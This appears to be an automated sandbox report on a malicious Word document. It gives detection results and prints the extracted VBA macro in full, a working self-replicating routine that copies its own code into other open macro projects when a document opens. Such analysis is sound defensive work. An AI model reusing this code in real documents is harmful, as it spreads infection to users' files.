MALICIOUS
120
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample is a malicious Office document containing a VBA macro. The macro's Document_Open subroutine is designed to copy its own code into other VBComponents within the VBE. This self-replication behavior is suspicious and aims to make the macro more persistent or harder to remove. No external network activity or payload delivery was observed in the provided evidence.
Heuristics 3
-
ClamAV: Doc.Macro.MaliciousHeuristic-6290327-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Macro.MaliciousHeuristic-6290327-0
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2699 bytes |
SHA-256: 487525f60e60ceec14673601ade982832dfda5c6fd52d40e287048422f673bdf |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Sub Document_Open() Dim MACROTEXT As String 'Dim AA As VBComponent For I = 1 To VBE.VBProjects.Count On Error GoTo 11 P = VBE.VBProjects(I).FileName B = Mid(ThisDocument.Name, 1, InStr(1, ThisDocument.Name, ".") - 1) A = VBE.VBProjects(I).VBComponents(1).CodeModule.Parent.Name R = InStrRev(P, "\") S = IIf(InStr(1, P, ".") > 0, Len(P) - InStr(1, P, ".") + 1, 0) C = Mid(P, R + 1, Len(P) - R - S) If B = C Then Set AA = VBE.VBProjects(I).VBComponents(1) LOCALLINES = AA.CodeModule.CountOfLines MACROTEXT = AA.CodeModule.Lines(1, AA.CodeModule.CountOfLines) Exit For End If 11: Err.Clear Next I For I = 1 To VBE.VBProjects.Count B = Mid(ThisDocument.Name, 1, InStr(1, ThisDocument.Name, ".") - 1) A = VBE.VBProjects(I).VBComponents(1).CodeModule.Parent.Name On Error GoTo 12 P = VBE.VBProjects(I).Name R = InStrRev(P, "\") S = IIf(InStr(1, P, ".") > 0, Len(P) - InStr(1, P, ".") + 1, 0) C = Mid(P, R + 1, Len(P) - R - S) 12: If B <> C And LOCALLINES > VBE.VBProjects(I).VBComponents(1).CodeModule.CountOfLines Then Err.Clear Set AA = VBE.VBProjects(I).VBComponents(1) AA.CodeModule.AddFromString (MACROTEXT) End If Next I End Sub Private Sub Document_Open1() Dim MACROTEXT As String 'Dim AA As VBComponent For I = 1 To VBE.VBProjects.Count On Error GoTo 11 P = VBE.VBProjects(I).FileName B = Mid(ThisDocument.Name, 1, InStr(1, ThisDocument.Name, ".") - 1) A = VBE.VBProjects(I).VBComponents(1).CodeModule.Parent.Name R = InStrRev(P, "\") S = IIf(InStr(1, P, ".") > 0, Len(P) - InStr(1, P, ".") + 1, 0) C = Mid(P, R + 1, Len(P) - R - S) If B = C Then Set AA = VBE.VBProjects(I).VBComponents(1) LOCALLINES = AA.CodeModule.CountOfLines MACROTEXT = AA.CodeModule.Lines(1, AA.CodeModule.CountOfLines) Exit For End If 11: Err.Clear Next I For I = 1 To VBE.VBProjects.Count B = Mid(ThisDocument.Name, 1, InStr(1, ThisDocument.Name, ".") - 1) A = VBE.VBProjects(I).VBComponents(1).CodeModule.Parent.Name On Error GoTo 12 P = VBE.VBProjects(I).Name R = InStrRev(P, "\") S = IIf(InStr(1, P, ".") > 0, Len(P) - InStr(1, P, ".") + 1, 0) C = Mid(P, R + 1, Len(P) - R - S) 12: If B <> C And LOCALLINES > VBE.VBProjects(I).VBComponents(1).CodeModule.CountOfLines Then Err.Clear Set AA = VBE.VBProjects(I).VBComponents(1) AA.CodeModule.AddFromString (MACROTEXT) End If Next I End Sub |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.